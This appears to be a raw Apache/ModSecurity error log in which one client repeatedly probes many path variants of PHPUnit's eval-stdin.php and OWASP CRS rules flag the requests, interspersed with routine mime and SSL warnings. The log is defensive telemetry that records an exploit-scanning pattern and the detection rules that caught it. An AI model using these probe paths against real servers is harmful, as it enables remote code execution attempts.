[Fri Jul 17 10:23:00.172346 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1LGFjrl6DCT-Pyn8T4gAAAAo"]
[Fri Jul 17 10:23:00.172635 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:52666] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:00.173099 2026] [security2:error] [pid 2075978:tid 2075978] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1LGFjrl6DCT-Pyn8T4gAAAAo"]
[Fri Jul 17 10:23:00.317616 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:00.419309 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:00.626361 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:00.735114 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:00.840860 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:00.938135 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:01.041516 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:01.151980 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:01.265128 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:01.360253 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "alm1LQTUp7iFPeTAJ9d13QAAAAU"]
[Fri Jul 17 10:23:01.360389 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "alm1LQTUp7iFPeTAJ9d13QAAAAU"]
[Fri Jul 17 10:23:01.360464 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "alm1LQTUp7iFPeTAJ9d13QAAAAU"]
[Fri Jul 17 10:23:01.361085 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "alm1LQTUp7iFPeTAJ9d13QAAAAU"]
[Fri Jul 17 10:23:01.362038 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1LQTUp7iFPeTAJ9d13QAAAAU"]
[Fri Jul 17 10:23:01.367094 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:01.466238 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:01.577577 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:01.719189 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1LUD0S6w5KyU992INNQAAAAM"]
[Fri Jul 17 10:23:01.719289 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1LUD0S6w5KyU992INNQAAAAM"]
[Fri Jul 17 10:23:01.719334 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1LUD0S6w5KyU992INNQAAAAM"]
[Fri Jul 17 10:23:01.719790 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1LUD0S6w5KyU992INNQAAAAM"]
[Fri Jul 17 10:23:01.720501 2026] [security2:error] [pid 2075723:tid 2075723] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1LUD0S6w5KyU992INNQAAAAM"]
[Fri Jul 17 10:23:02.350109 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1LrUVEJ3gwrjEiOQW2wAAABA"]
[Fri Jul 17 10:23:02.350218 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1LrUVEJ3gwrjEiOQW2wAAABA"]
[Fri Jul 17 10:23:02.350259 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1LrUVEJ3gwrjEiOQW2wAAABA"]
[Fri Jul 17 10:23:02.350688 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1LrUVEJ3gwrjEiOQW2wAAABA"]
[Fri Jul 17 10:23:02.351341 2026] [security2:error] [pid 2076193:tid 2076193] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1LrUVEJ3gwrjEiOQW2wAAABA"]
[Fri Jul 17 10:23:02.603875 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:02.672786 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:02.739399 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:02.917296 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:02.918394 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:02.988956 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:02.996364 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.021337 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.030935 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:50634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:03.042348 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.063873 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.172280 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.173854 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/libtiff-devel/html/v4.0.4beta.html"] [unique_id "alm1Lx3_6y13_d3Np4_4oQAAAAE"]
[Fri Jul 17 10:23:03.173877 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/libtiff-devel/html/v4.0.4beta.html"] [unique_id "alm1Lx3_6y13_d3Np4_4oQAAAAE"]
[Fri Jul 17 10:23:03.272605 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.374201 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.529300 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.739103 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.840650 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:03.953901 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:50702] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:03.956707 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:04.066872 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:04.175344 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:04.272178 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:04.372881 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:04.475968 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:04.587838 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:04.655291 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1MDuaDdNRw9_WO14xugAAAAg"]
[Fri Jul 17 10:23:04.655383 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1MDuaDdNRw9_WO14xugAAAAg"]
[Fri Jul 17 10:23:04.655438 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1MDuaDdNRw9_WO14xugAAAAg"]
[Fri Jul 17 10:23:04.655858 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1MDuaDdNRw9_WO14xugAAAAg"]
[Fri Jul 17 10:23:04.656467 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1MDuaDdNRw9_WO14xugAAAAg"]
[Fri Jul 17 10:23:04.690316 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:04.805542 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.028875 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1MVwhXK3LBDRkoRBT3wAAABY"]
[Fri Jul 17 10:23:05.029005 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1MVwhXK3LBDRkoRBT3wAAABY"]
[Fri Jul 17 10:23:05.029081 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1MVwhXK3LBDRkoRBT3wAAABY"]
[Fri Jul 17 10:23:05.029592 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1MVwhXK3LBDRkoRBT3wAAABY"]
[Fri Jul 17 10:23:05.030534 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1MVwhXK3LBDRkoRBT3wAAABY"]
[Fri Jul 17 10:23:05.034087 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.134484 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.236770 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.344020 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.545275 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.646499 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.755604 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.854601 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:05.956455 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:06.093685 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:06.223290 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1MjuaDdNRw9_WO14xvAAAAAg"]
[Fri Jul 17 10:23:06.223410 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1MjuaDdNRw9_WO14xvAAAAAg"]
